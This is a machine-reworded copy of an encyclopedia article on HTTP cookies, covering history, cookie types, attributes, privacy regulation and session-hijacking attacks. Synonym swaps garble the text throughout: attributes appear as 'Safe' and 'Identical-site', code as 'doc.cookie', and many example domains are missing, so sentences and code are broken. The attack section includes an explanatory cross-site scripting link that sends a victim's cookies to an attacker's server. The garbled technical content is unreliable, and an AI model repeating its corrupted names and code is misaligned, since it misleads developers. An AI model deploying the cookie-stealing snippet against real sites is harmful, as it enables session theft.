HTTP cookie - Wikipedia

HTTP cookie – Wikipedia

Small items of information saved by an internet browser whereas on a web site

An HTTP cookie (additionally referred to as net cookie, Web cookie, browser cookie, or just cookie) is a small piece of information saved on the person’s laptop by the net browser whereas shopping a web site. Cookies had been designed to be a dependable mechanism for web sites to recollect stateful data (equivalent to gadgets added within the buying cart in an internet retailer) or to file the person’s shopping exercise (together with clicking specific buttons, logging in, or recording which pages had been visited up to now). They will also be used to recollect items of knowledge that the person beforehand entered into type fields, equivalent to names, addresses, passwords, and fee card numbers.

Cookies carry out important features within the fashionable net. Maybe most significantly, authentication cookies are the commonest technique utilized by net servers to know whether or not the person is logged in or not, and which account they’re logged in with. With out such a mechanism, the location wouldn’t know whether or not to ship a web page containing delicate data, or require the person to authenticate themselves by logging in. The safety of an authentication cookie usually is dependent upon the safety of the issuing web site and the person’s net browser, and on whether or not the cookie knowledge is encrypted. Safety vulnerabilities might permit a cookie’s knowledge to be learn by a hacker, used to achieve entry to person knowledge, or used to achieve entry (with the person’s credentials) to the web site to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).[1]

Monitoring cookies, and particularly third-party monitoring cookies, are generally used as methods to compile long-term data of people’ shopping histories — a possible privateness concern that prompted European[2] and U.S. lawmakers to take motion in 2011.[3][4] European regulation requires that each one web sites focusing on European Union member states achieve “knowledgeable consent” from customers earlier than storing non-essential cookies on their system.

Google Undertaking Zero researcher Jann Horn describes methods cookies will be learn by intermediaries, like Wi-Fi hotspot suppliers. He recommends to make use of the browser in incognito mode in such circumstances.[5]


HTTP cookies share their title with a preferred baked deal with.

Origin of the title

The time period “cookie” was coined by web-browser programmer Lou Montulli. It was derived from the time period “magic cookie”, which is a packet of information a program receives and sends again unchanged, utilized by Unix programmers.[6][7]

Historical past

Magic cookies had been already utilized in computing when laptop programmer Lou Montulli had the concept of utilizing them in net communications in June 1994.[8] On the time, he was an worker of Netscape Communications, which was creating an e-commerce software for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI didn’t need its servers to must retain partial transaction states, which led them to ask Netscape to discover a technique to retailer that state in every person’s laptop as an alternative. Cookies supplied an answer to the issue of reliably implementing a digital buying cart.[9][10]

Along with John Giannandrea, Montulli wrote the preliminary Netscape cookie specification the identical yr. Model 0.9beta of Mosaic Netscape, launched on October 13, 1994,[11][12] supported cookies.[13] The primary use of cookies (out of the labs) was checking whether or not guests to the Netscape web site had already visited the location. Montulli utilized for a patent for the cookie know-how in 1995, and US 5774670  was granted in 1998. Help for cookies was built-in in Web Explorer in model 2, launched in October 1995.[14]

The introduction of cookies was not extensively identified to the general public on the time. Particularly, cookies had been accepted by default, and customers weren’t notified of their presence. Most people discovered about cookies after the Monetary Occasions printed an article about them on February 12, 1996.[15] In the identical yr, cookies obtained a number of media consideration, particularly due to potential privateness implications. Cookies had been mentioned in two U.S. Federal Commerce Fee hearings in 1996 and 1997.

The event of the formal cookie specs was already ongoing. Particularly, the primary discussions a couple of formal specification began in April 1995 on the www-talk mailing listing. A particular working group throughout the Web Engineering Job Power (IETF) was fashioned. Two various proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively. However the group, headed by Kristol himself and Lou Montulli, quickly determined to make use of the Netscape specification as a place to begin. In February 1996, the working group recognized third-party cookies as a substantial privateness menace. The specification produced by the group was ultimately printed as RFC 2109 in February 1997. It specifies that third-party cookies had been both not allowed in any respect, or at the least not enabled by default.

At the moment, promoting firms had been already utilizing third-party cookies. The advice about third-party cookies of RFC 2109 was not adopted by Netscape and Web Explorer. RFC 2109 was outmoded by RFC 2965 in October 2000.

RFC 2965 added a Set-Cookie2 header, which informally got here to be referred to as “RFC 2965-style cookies” versus the unique Set-Cookie header which was referred to as “Netscape-style cookies”.[16][17]Set-Cookie2 was seldom used nevertheless, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as utilized in the actual world.[18]


Session cookie

A session cookie, also referred to as an in-memory cookie, transient cookie or non-persistent cookie, exists solely in non permanent reminiscence whereas the person navigates the web site.[19]
Net browsers usually delete session cookies when the person closes the browser.[20] In contrast to different cookies, session cookies would not have an expiration date assigned to them, which is how the browser is aware of to deal with them as session cookies.

Persistent cookie

As a substitute of expiring when the net browser is closed as session cookies do, a persistent cookie expires at a selected date or after a selected size of time. For the persistent cookie’s lifespan set by its creator, its data shall be transmitted to the server each time the person visits the web site that it belongs to, or each time the person views a useful resource belonging to that web site from one other web site (equivalent to an commercial).

Because of this, persistent cookies are generally known as monitoring cookies as a result of they can be utilized by advertisers to file details about a person’s net shopping habits over an prolonged time frame. Nevertheless, they’re additionally used for “professional” causes (equivalent to retaining customers logged into their accounts on web sites, to keep away from re-entering login credentials at each go to).

Safe cookie

A safe cookie can solely be transmitted over an encrypted connection (i.e. HTTPS). They can’t be transmitted over unencrypted connections (i.e. HTTP). This makes the cookie much less more likely to be uncovered to cookie theft by way of eavesdropping. A cookie is made safe by including the Safe flag to the cookie.

Http-only cookie

An http-only cookie can’t be accessed by client-side APIs, equivalent to JavaScript. This restriction eliminates the specter of cookie theft by way of cross-site scripting (XSS). Nevertheless, the cookie stays weak to cross-site tracing (XST) and cross-site request forgery (CSRF) assaults. A cookie is given this attribute by including the HttpOnly flag to the cookie.

Identical-site cookie

In 2016 Google Chrome model 51 launched[21] a brand new type of cookie with attribute SameSite. Attribute SameSite can have a worth of Strict, Lax or None.[22] With attribute SameSite=Strict, the browsers ought to solely ship these cookies with requests originated from the identical area/web site because the goal area. This may successfully mitigate cross-site request forgery (CSRF) assaults.[23]SameSite=Lax wouldn’t limit originating web site, however implement goal area to be the identical as cookie area, successfully blocking third-party (cross-site) cookies. Attribute SameSite=None would permit third-party (cross-site) cookies. The Identical-site cookie is integrated into a brand new RFC draft for “Cookies: HTTP State Administration Mechanism” to replace RFC6265 (if permitted).

Chrome, Firefox, Microsoft Edge all began to assist Identical-site cookies.[24] The important thing of rollout is the therapy of present cookies with out SameSite attribute outlined, Chrome has been treating these present cookies as if SameSite=None, this is able to maintain all web site/functions run as earlier than. Google meant to alter that default to SameSite=Lax in February 2020,[25] the change would break these functions/web sites in the event that they depend on third-party/cross-site cookies, however with out SameSite attribute outlined. Given the in depth adjustments for net builders and COVID-19 circumstances, Google quickly rolled again the SameSite cookie change.[26]

Third-party cookie

Usually, a cookie’s area attribute will match the area that’s proven within the net browser’s handle bar. That is referred to as a first-party cookie. A third-party cookie, nevertheless, belongs to a website completely different from the one proven within the handle bar. This kind of cookie usually seems when net pages function content material from exterior web sites, equivalent to banner commercials. This opens up the potential for monitoring the person’s shopping historical past and is usually utilized by advertisers in an effort to serve related commercials to every person.

For example, suppose a person visits This web site comprises an commercial from, which, when downloaded, units a cookie belonging to the commercial’s area ( Then, the person visits one other web site,, which additionally comprises an commercial from and units a cookie belonging to that area ( Finally, each of those cookies shall be despatched to the advertiser when loading their commercials or visiting their web site. The advertiser can then use these cookies to construct up a shopping historical past of the person throughout all of the web sites which have advertisements from this advertiser, by the usage of the HTTP referer header area.

As of 2014, some web sites had been setting cookies readable for over 100 third-party domains.[27] On common, a single web site was setting 10 cookies, with a most variety of cookies (first- and third-party) reaching over 800.[28]

Most fashionable net browsers include privateness settings that may block third-party cookies, and a few now block all third-party cookies by default – as of July 2020, such browsers embrace Apple Safari,[29]Firefox,[30] and Courageous.[31] Safari permits embedded websites to make use of Storage Entry API to request permission to set first-party cookies. In Might 2020, Google Chrome launched new options to dam third-party cookies by default in its Incognito mode for personal shopping, making blocking non-compulsory throughout regular shopping. The identical replace additionally added an possibility to dam first-party cookies.[32] Chrome plans to begin blocking third-party cookies by default in 2022.[33]


A supercookie is a cookie with an origin of a top-level area (equivalent to .com) or a public suffix (equivalent to Bizarre cookies, against this, have an origin of a selected area title, equivalent to

Supercookies could be a potential safety concern and are due to this fact typically blocked by net browsers. If unblocked by the browser, an attacker in command of a malicious web site might set a supercookie and probably disrupt or impersonate professional person requests to a different web site that shares the identical top-level area or public suffix because the malicious web site. For instance, a supercookie with an origin of .com, might maliciously have an effect on a request made to, even when the cookie didn’t originate from This can be utilized to pretend logins or change person data.

The Public Suffix Record[34] helps to mitigate the danger that supercookies pose. The Public Suffix Record is a cross-vendor initiative that goals to supply an correct and up-to-date listing of area title suffixes. Older variations of browsers might not have an up-to-date listing, and can due to this fact be weak to supercookies from sure domains.

Different makes use of

The time period “supercookie” is typically used for monitoring applied sciences that don’t depend on HTTP cookies. Two such “supercookie” mechanisms had been discovered on Microsoft web sites in August 2011: cookie syncing that respawned MUID (machine distinctive identifier) cookies, and ETag cookies.[35] As a result of media consideration, Microsoft later disabled this code.[36]. In a 2021 weblog put up, Mozilla used the time period “supercookie” to discuss with the usage of browser cache (see beneath) as a way of monitoring customers throughout websites.[37]

Zombie cookie

A zombie cookie is a cookie that’s mechanically recreated after being deleted. That is completed by storing the cookie’s content material in a number of areas, equivalent to Flash Native shared object, HTML5 Net storage, and different client-side and even server-side areas. When the cookie’s absence is detected,[clarification needed] the cookie is recreated[clarification needed] utilizing the info saved in these areas. [38][39]


A cookie consists of the next elements:[40][41]

  1. Identify
  2. Worth
  3. Zero or extra attributes (title/worth pairs). Attributes retailer data such because the cookie’s expiration, area, and flags (equivalent to Safe and HttpOnly).

Makes use of

Session administration

Cookies had been initially launched to supply a approach for customers to file gadgets they need to buy as they navigate all through a web site (a digital “buying cart” or “buying basket”).[9][10] As we speak, nevertheless, the contents of a person’s buying cart are normally saved in a database on the server, slightly than in a cookie on the shopper. To maintain monitor of which person is assigned to which buying cart, the server sends a cookie to the shopper that comprises a singular session identifier (usually, an extended string of random letters and numbers). As a result of cookies are despatched to the server with each request the shopper makes, that session identifier shall be despatched again to the server each time the person visits a brand new web page on the web site, which lets the server know which buying cart to show to the person.

One other standard use of cookies is for logging into web sites. When the person visits a web site’s login web page, the net server usually sends the shopper a cookie containing a singular session identifier. When the person efficiently logs in, the server remembers that that individual session identifier has been authenticated and grants the person entry to its companies.

As a result of session cookies solely include a singular session identifier, this makes the quantity of private data {that a} web site can save about every person nearly limitless—the web site just isn’t restricted to restrictions regarding how giant a cookie will be. Session cookies additionally assist to enhance web page load instances, for the reason that quantity of knowledge in a session cookie is small and requires little bandwidth.


Cookies can be utilized to recollect details about the person to be able to present related content material to that person over time. For instance, an internet server would possibly ship a cookie containing the username that was final used to log into a web site, in order that it could be crammed in mechanically the subsequent time the person logs in.

Many web sites use cookies for personalization based mostly on the person’s preferences. Customers choose their preferences by coming into them in an internet type and submitting the shape to the server. The server encodes the preferences in a cookie and sends the cookie again to the browser. This manner, each time the person accesses a web page on the web site, the server can personalize the web page in accordance with the person’s preferences. For instance, the Google search engine as soon as used cookies to permit customers (even non-registered ones) to determine what number of search outcomes per web page they needed to see.
Additionally, DuckDuckGo makes use of cookies to permit customers to set the viewing preferences like colours of the net web page.


Monitoring cookies are used to trace customers’ net shopping habits. This will also be performed to some extent by utilizing the IP handle of the pc requesting the web page or the referer area of the HTTP request header, however cookies permit for higher precision. This may be demonstrated as follows:

  1. If the person requests a web page of the location, however the request comprises no cookie, the server presumes that that is the primary web page visited by the person. So the server creates a singular identifier (usually a string of random letters and numbers) and sends it as a cookie again to the browser along with the requested web page.
  2. From this level on, the cookie will mechanically be despatched by the browser to the server each time a brand new web page from the location is requested. The server not solely sends the web page as standard but in addition shops the URL of the requested web page, the date/time of the request, and the cookie in a log file.

By analyzing this log file, it’s then attainable to seek out out which pages the person has visited, in what sequence, and for a way lengthy.

Companies exploit customers’ net habits by monitoring cookies to gather details about shopping for habits. The Wall Road Journal discovered that America’s high fifty web sites put in a mean of sixty-four items of monitoring know-how onto computer systems, leading to a complete of three,180 monitoring recordsdata.[42] The information can then be collected and bought to bidding companies.


A attainable interplay between an internet browser and an internet server holding an internet web page during which the server sends a cookie to the browser and the browser sends it again when requesting one other web page.

Cookies are arbitrary items of information, normally chosen and first despatched by the net server, and saved on the shopper laptop by the net browser. The browser then sends them again to the server with each request, introducing states (reminiscence of earlier occasions) into in any other case stateless HTTP transactions. With out cookies, every retrieval of an internet web page or part of an internet web page could be an remoted occasion, largely unrelated to all different web page views made by the person on the web site. Though cookies are normally set by the net server, they will also be set by the shopper utilizing a scripting language equivalent to JavaScript (until the cookie’s HttpOnly flag is ready, during which case the cookie can’t be modified by scripting languages).

The cookie specs[43][44] require that browsers meet the next necessities to be able to assist cookies:

  • Can assist cookies as giant as 4,096 bytes in measurement.
  • Can assist at the least 50 cookies per area (i.e. per web site).
  • Can assist at the least 3,000 cookies in complete.

Setting a cookie

Cookies are set utilizing the Set-Cookie HTTP header, despatched in an HTTP response from the net server. This header instructs the net browser to retailer the cookie and ship it again in future requests to the server (the browser will ignore this header if it doesn’t assist cookies or has disabled cookies).

For example, the browser sends its first request for the homepage of the web site:

GET /index.html HTTP/1.1

The server responds with two Set-Cookie headers:

HTTP/1.0 200 OK
Content material-type: textual content/html
Set-Cookie: theme=mild
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

The server’s HTTP response comprises the contents of the web site’s homepage. But it surely additionally instructs the browser to set two cookies. The primary, “theme”, is taken into account to be a session cookie because it doesn’t have an Expires or Max-Age attribute. Session cookies are meant to be deleted by the browser when the browser closes. The second, “sessionToken”, is taken into account to be a persistent cookie because it comprises an Expires attribute, which instructs the browser to delete the cookie at a selected date and time.

Subsequent, the browser sends one other request to go to the spec.html web page on the web site. This request comprises a Cookie HTTP header, which comprises the 2 cookies that the server instructed the browser to set:

GET /spec.html HTTP/1.1
Cookie: theme=mild; sessionToken=abc123

This manner, the server is aware of that this request is expounded to the earlier one. The server would reply by sending the requested web page, probably together with extra Set-Cookie headers within the response to be able to add new cookies, modify present cookies, or delete cookies.

The worth of a cookie will be modified by the server by together with a Set-Cookie header in response to a web page request. The browser then replaces the previous worth with the brand new worth.

The worth of a cookie might include any printable ASCII character (! by ~, Unicode u0021 by u007E) excluding , and ; and whitespace characters. The title of a cookie excludes the identical characters, in addition to =, since that’s the delimiter between the title and worth. The cookie commonplace RFC 2965 is extra restrictive however not carried out by browsers.

The time period “cookie crumb” is typically used to discuss with a cookie’s title–worth pair.[45]

Cookies will also be set by scripting languages equivalent to JavaScript that run throughout the browser. In JavaScript, the article doc.cookie is used for this objective. For instance, the instruction doc.cookie = "temperature=20" creates a cookie of title “temperature” and worth “20”.[46]

Cookie attributes

Along with a reputation and worth, cookies may have a number of attributes. Browsers don’t embrace cookie attributes in requests to the server—they solely ship the cookie’s title and worth. Cookie attributes are utilized by browsers to find out when to delete a cookie, block a cookie or whether or not to ship a cookie to the server.

Area and path

The Area and Path attributes outline the scope of the cookie. They basically inform the browser what web site the cookie belongs to. For apparent safety causes, cookies can solely be set on the present useful resource’s high area and its sub domains, and never for one more area and its sub domains. For instance, the web site can not set a cookie that has a website of as a result of this is able to permit the web site to regulate the cookies of

If a cookie’s Area and Path attributes aren’t specified by the server, they default to the area and path of the useful resource that was requested.[47] Nevertheless, in most browsers there’s a distinction between a cookie set from with out a area, and a cookie set with the area. Within the former case, the cookie will solely be despatched for requests to, also referred to as a host-only cookie. Within the latter case, all sub domains are additionally included (for instance,[48][49] A notable exception to this common rule is Edge previous to Home windows 10 RS3 and Web Explorer previous to IE 11 and Home windows 10 RS4 (April 2018), which all the time ship cookies to sub domains no matter whether or not the cookie was set with or with out a area.[50]

Beneath is an instance of some Set-Cookie HTTP response headers which might be despatched from a web site after a person logged in. The HTTP request was despatched to a webpage throughout the subdomain:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Safe; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst;; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq;; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Safe; HttpOnly

The primary cookie, LSID, has no Area attribute, and has a Path attribute set to /accounts. This tells the browser to make use of the cookie solely when requesting pages contained in (the area is derived from the request area). The opposite two cookies, HSID and SSID, could be used when the browser requests any subdomain in on any path (for instance The prepending dot is non-compulsory in latest requirements, however will be added for compatibility with RFC 2109 based mostly implementations.[51]

Expires and Max-Age

The Expires attribute defines a selected date and time for when the browser ought to delete the cookie. The date and time are specified within the type Wdy, DD Mon YYYY HH:MM:SS GMT, or within the type Wdy, DD Mon YY HH:MM:SS GMT for values of YY the place YY is bigger than or equal to Zero and fewer than or equal to 69.[52]

Alternatively, the Max-Age attribute can be utilized to set the cookie’s expiration as an interval of seconds sooner or later, relative to the time the browser obtained the cookie. Beneath is an instance of three Set-Cookie headers that had been obtained from a web site after a person logged in:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/;; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/;
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/;; HttpOnly

The primary cookie, lu, is ready to run out someday on 15 January 2013. Will probably be utilized by the shopper browser till that point. The second cookie, made_write_conn, doesn’t have an expiration date, making it a session cookie. Will probably be deleted after the person closes their browser. The third cookie, reg_fb_gate, has its worth modified to “deleted”, with an expiration time up to now. The browser will delete this cookie instantly as a result of its expiration time is up to now. Be aware that cookie will solely be deleted if the area and path attributes within the Set-Cookie area match the values used when the cookie was created.

As of 2016 Web Explorer didn’t assist Max-Age.[53][54]

Safe and HttpOnly

The Safe and HttpOnly attributes would not have related values. Moderately, the presence of simply their attribute names signifies that their behaviors needs to be enabled.

The Safe attribute is supposed to maintain cookie communication restricted to encrypted transmission, directing browsers to make use of cookies solely by way of safe/encrypted connections. Nevertheless, if an internet server units a cookie with a safe attribute from a non-secure connection, the cookie can nonetheless be intercepted when it’s despatched to the person by man-in-the-middle assaults. Subsequently, for optimum safety, cookies with the Safe attribute ought to solely be set over a safe connection.

The HttpOnly attribute directs browsers to not expose cookies by channels apart from HTTP (and HTTPS) requests. Because of this the cookie can’t be accessed by way of client-side scripting languages (notably JavaScript), and due to this fact can’t be stolen simply by way of cross-site scripting (a pervasive assault approach).[55]

Browser settings

Most fashionable browsers assist cookies and permit the person to disable them. The next are frequent choices:[56]

  • To allow or disable cookies utterly, in order that they’re all the time accepted or all the time blocked.
  • To view and selectively delete cookies utilizing a cookie supervisor.
  • To totally wipe all personal knowledge, together with cookies.

By default, Web Explorer permits third-party cookies provided that they’re accompanied by a P3P “CP” (Compact Coverage) area.[57]

Add-on instruments for managing cookie permissions additionally exist.[58][59][60][61]

Privateness and third-party cookies

Cookies have some necessary implications on the privateness and anonymity of net customers. Whereas cookies are despatched solely to the server setting them or a server in the identical Web area, an internet web page might include photographs or different elements saved on servers in different domains. Cookies which might be set throughout retrieval of those elements are referred to as third-party cookies. The older requirements for cookies, RFC 2109 and RFC 2965, specify that browsers ought to shield person privateness and never permit sharing of cookies between servers by default. Nevertheless, the newer commonplace, RFC 6265, explicitly permits person brokers to implement whichever third-party cookie coverage they want. Most browsers, equivalent to Mozilla Firefox, Web Explorer, Opera, and Google Chrome, do permit third-party cookies by default, so long as the third-party web site has Compact Privateness Coverage printed. Newer variations of Safari block third-party cookies, and that is deliberate for Mozilla Firefox as nicely (initially deliberate for model 22 however postponed indefinitely).[62]

On this fictional instance, an promoting firm has positioned banners in two web sites. By internet hosting the banner photographs on its servers and utilizing third-party cookies, the promoting firm is ready to monitor the shopping of customers throughout these two websites.

Promoting firms use third-party cookies to trace a person throughout a number of websites. Particularly, an promoting firm can monitor a person throughout all pages the place it has positioned promoting photographs or net bugs. Information of the pages visited by a person permits the promoting firm to focus on commercials to the person’s presumed preferences.

Web site operators who don’t disclose third-party cookie use to customers run the danger of harming shopper belief if cookie use is found. Having clear disclosure (equivalent to in a privateness coverage) tends to remove any damaging results of such cookie discovery.[63]

The potential of constructing a profile of customers is a privateness menace, particularly when monitoring is finished throughout a number of domains utilizing third-party cookies. Because of this, some nations have laws about cookies.

America authorities has set strict guidelines on setting cookies in 2000 after it was disclosed that the White Home drug coverage workplace used cookies to trace laptop customers viewing its on-line anti-drug promoting. In 2002, privateness activist Daniel Brandt discovered that the CIA had been leaving persistent cookies on computer systems that had visited its web site. When notified it was violating coverage, CIA said that these cookies weren’t deliberately set and stopped setting them.[64] On December 25, 2005, Brandt found that the Nationwide Safety Company (NSA) had been leaving two persistent cookies on guests’ computer systems resulting from a software program improve. After being knowledgeable, the NSA instantly disabled the cookies.[65]

EU cookie directive

In 2002, the European Union launched the Directive on Privateness and Digital Communications, a coverage requiring finish customers’ consent for the position of cookies, and comparable applied sciences for storing and accessing data on customers’ tools.[66][67] Particularly, Article 5 Paragraph Three mandates that storing knowledge in a person’s laptop can solely be performed if the person is supplied details about how this knowledge is used, and the person is given the potential of denying this storing operation.

Directive 95/46/EC defines “the info topic’s consent” as “any freely given particular and knowledgeable indication of his needs by which the info topic signifies his settlement to private knowledge referring to him being processed.”[68] Consent should contain some type of communication the place people knowingly point out their acceptance.[67]

In 2009, the coverage was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. As a substitute of getting an possibility for customers to decide out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.[67]

In June 2012, European knowledge safety authorities adopted an opinion which clarifies that some cookie customers is perhaps exempt from the requirement to achieve consent:

  • Some cookies will be exempted from knowledgeable consent beneath sure situations if they don’t seem to be used for added functions. These cookies embrace cookies used to maintain monitor of a person’s enter when filling on-line kinds or as a buying cart.
  • First-party analytics cookies aren’t more likely to create a privateness threat if web sites present clear details about the cookies to customers and privateness safeguards.[69]

The business’s response has been largely damaging. Robert Bond of the regulation agency Speechly Bircham describes the results as “far-reaching and extremely onerous” for “all UK firms”. Simon Davis of Privateness Worldwide argues that correct enforcement would “destroy your entire business”.[70]

In 2016, Common Information Safety Regulation (GDPR) was adopted within the EU. In accordance with Recital 30 of GDPR pure individuals could also be related to cookie identifiers. Thus, cookies will be certified as private knowledge and are due to this fact topic to GDPR. To make use of such cookies firms should obtain prior person consent.

The P3P specification provides a chance for a server to state a privateness coverage utilizing an HTTP header, which specifies which type of data it collects and for which objective. These insurance policies embrace (however aren’t restricted to) the usage of data gathered utilizing cookies. In accordance with the P3P specification, a browser can settle for or reject cookies by evaluating the privateness coverage with the saved person preferences or ask the person, presenting them the privateness coverage as declared by the server. Nevertheless, the P3P specification was criticized by net builders for its complexity. Some web sites don’t accurately implement it. For instance, Fb jokingly used “HONK” as its P3P header for a interval.[71] Solely Web Explorer offers ample assist for the specification.

Third-party cookies will be blocked by most browsers to extend privateness and cut back monitoring by promoting and monitoring firms with out negatively affecting the person’s net expertise. Many promoting operators have an opt-out choice to behavioural promoting, with a generic cookie within the browser stopping behavioural promoting.[71][72]

Cookie theft and session hijacking

Most web sites use cookies as the one identifiers for person periods, as a result of different strategies of figuring out net customers have limitations and vulnerabilities. If a web site makes use of cookies as session identifiers, attackers can impersonate customers’ requests by stealing a full set of victims’ cookies. From the net server’s standpoint, a request from an attacker then has the identical authentication because the sufferer’s requests; thus the request is carried out on behalf of the sufferer’s session.

Listed below are numerous situations of cookie theft and person session hijacking (even with out stealing person cookies) that work with web sites relying solely on HTTP cookies for person identification.

Community eavesdropping

A cookie will be stolen by one other laptop that’s allowed studying from the community

Visitors on a community will be intercepted and skim by computer systems on the community apart from the sender and receiver (significantly over unencrypted open Wi-Fi). This visitors consists of cookies despatched on odd unencrypted HTTP periods. The place community visitors just isn’t encrypted, attackers can due to this fact learn the communications of different customers on the community, together with HTTP cookies in addition to your entire contents of the conversations, for the aim of a man-in-the-middle assault.

An attacker might use intercepted cookies to impersonate a person and carry out a malicious activity, equivalent to transferring cash out of the sufferer’s checking account.

This concern will be resolved by securing the communication between the person’s laptop and the server by using Transport Layer Safety (HTTPS protocol) to encrypt the connection. A server can specify the Safe flag whereas setting a cookie, which can trigger the browser to ship the cookie solely over an encrypted channel, equivalent to an TLS connection.[43]

Publishing false sub-domain: DNS cache poisoning

If an attacker is ready to trigger a DNS server to cache a fabricated DNS entry (referred to as DNS cache poisoning), then this might permit the attacker to achieve entry to a person’s cookies. For instance, an attacker might use DNS cache poisoning to create a fabricated DNS entry of that factors to the IP handle of the attacker’s server. The attacker can then put up a picture URL from his personal server (for instance, Victims studying the attacker’s message would obtain this picture from Since is a sub-domain of, victims’ browsers would submit all cookies to the attacker’s server.

If an attacker is ready to accomplish this, it’s normally the fault of the Web Service Suppliers for not correctly securing their DNS servers. Nevertheless, the severity of this assault will be lessened if the goal web site makes use of safe cookies. On this case, the attacker would have the additional problem[73] of acquiring the goal web site’s TLS certificates from a certificates authority, since safe cookies can solely be transmitted over an encrypted connection. And not using a matching TLS certificates, victims’ browsers would show a warning message concerning the attacker’s invalid certificates, which might assist deter customers from visiting the attacker’s fraudulent web site and sending the attacker their cookies.

Cross-site scripting: cookie theft

Cookies will also be stolen utilizing a way referred to as cross-site scripting. This happens when an attacker takes benefit of a web site that permits its customers to put up unfiltered HTML and JavaScript content material. By posting malicious HTML and JavaScript code, the attacker could cause the sufferer’s net browser to ship the sufferer’s cookies to a web site the attacker controls.

For example, an attacker might put up a message on with the next hyperlink:

<a href="#" onclick="window.location = ' content=' + escape(doc.cookie); return false;">Click on right here!a>

Cross-site scripting: a cookie that needs to be solely exchanged between a server and a shopper is shipped to a different celebration.

When one other person clicks on this hyperlink, the browser executes the piece of code throughout the onclick attribute, thus changing the string doc.cookie with the listing of cookies which might be accessible from the present web page. Consequently, this listing of cookies is shipped to the server. If the attacker’s malicious posting is on an HTTPS web site, safe cookies can even be despatched to in plain textual content.

It’s the duty of the web site builders to filter out such malicious code.

Such assaults will be mitigated by utilizing HttpOnly cookies. These cookies won’t be accessible by client-side scripting languages like JavaScript, and due to this fact, the attacker will be unable to assemble these cookies.

Cross-site scripting: proxy request

In older variations of many browsers, there have been safety holes within the implementation of the XMLHttpRequest API. This API permits pages to specify a proxy server that may get the reply, and this proxy server just isn’t topic to the same-origin coverage. For instance, a sufferer is studying an attacker’s posting on, and the attacker’s script is executed within the sufferer’s browser. The script generates a request to with the proxy server For the reason that request is for, all cookies shall be despatched together with the request, however routed by the attacker’s proxy server. Therefore, the attacker would be capable to harvest the sufferer’s cookies.

This assault wouldn’t work with safe cookies, since they will solely be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the knowledge is encrypted on the person’s browser and decrypted on the vacation spot server). On this case, the proxy server would solely see the uncooked, encrypted bytes of the HTTP request.

Cross-site request forgery

For instance, Bob is perhaps shopping a chat discussion board the place one other person, Mallory, has posted a message. Suppose that Mallory has crafted an HTML picture ingredient that references an motion on Bob’s financial institution’s web site (slightly than a picture file), e.g.,


If Bob’s financial institution retains his authentication data in a cookie, and if the cookie hasn’t expired, then the try by Bob’s browser to load the picture will submit the withdrawal type along with his cookie, thus authorizing a transaction with out Bob’s approval.


Cookiejacking is a type of hacking whereby an attacker can achieve entry to session cookies of an Web Explorer person.[74] Found by Rosario Valotta, an Web safety researcher, the exploit permits an attacker to acquire a cookie from any web site and thus a username and password by tricking a person into dragging an object throughout the display screen.[74] Though Microsoft deemed the flaw low-risk due to “the extent of required person interplay”,[74] and the need of getting a person already logged into the web site whose cookie is stolen,[75] Valotta was in a position to make use of a social engineering assault to acquire, in three days, the cookies of 80 Fb customers out of his 150 buddies.[74]

Drawbacks of cookies

Apart from privateness issues, cookies even have some technical drawbacks. Particularly, they don’t all the time precisely determine customers, they can be utilized for safety assaults, and they’re typically at odds with the Representational State Switch (REST) software program architectural type.[76][77]

Inaccurate identification

If multiple browser is used on a pc, every normally has a separate storage space for cookies. Therefore, cookies don’t determine an individual, however a mixture of a person account, a pc, and an internet browser. Thus, anybody who makes use of a number of accounts, computer systems, or browsers has a number of units of cookies.

Likewise, cookies don’t differentiate between a number of customers who share the identical person account, laptop, and browser.

Inconsistent state on shopper and server

The usage of cookies might generate an inconsistency between the state of the shopper and the state as saved within the cookie. If the person acquires a cookie after which clicks the “Again” button of the browser, the state on the browser is mostly not the identical as earlier than that acquisition. For example, if the buying cart of an internet store is constructed utilizing cookies, the content material of the cart might not change when the person goes again within the browser’s historical past: if the person presses a button so as to add an merchandise within the buying cart after which clicks on the “Again” button, the merchandise stays within the buying cart. This may not be the intention of the person, who probably needed to undo the addition of the merchandise. This will result in unreliability, confusion, and bugs. Net builders ought to due to this fact concentrate on this concern and implement measures to deal with such conditions.

Options to cookies

A few of the operations that may be performed utilizing cookies will also be performed utilizing different mechanisms.

JSON Net Tokens

A JSON Net Token (JWT) is a self-contained packet of knowledge that can be utilized to retailer person identification and authenticity data. This enables them for use instead of session cookies. In contrast to cookies, that are mechanically hooked up to every HTTP request by the browser, JWTs have to be explicitly hooked up to every HTTP request by the net software.

HTTP authentication

The HTTP protocol consists of the fundamental entry authentication and the digest entry authentication protocols, which permit entry to an internet web page solely when the person has supplied the proper username and password. If the server requires such credentials for granting entry to an internet web page, the browser requests them from the person and, as soon as obtained, the browser shops and sends them in each subsequent web page request. This data can be utilized to trace the person.

IP handle

Some customers could also be tracked based mostly on the IP handle of the pc requesting the web page. The server is aware of the IP handle of the pc operating the browser (or the proxy, if any is used) and will theoretically hyperlink a person’s session to this IP handle.

Nevertheless, IP addresses are usually not a dependable technique to monitor a session or determine a person. Many computer systems designed for use by a single person, equivalent to workplace PCs or house PCs, are behind a community handle translator (NAT). Because of this a number of PCs will share a public IP handle. Moreover, some methods, equivalent to Tor, are designed to retain Web anonymity, rendering monitoring by IP handle impractical, inconceivable, or a safety threat.

URL (question string)

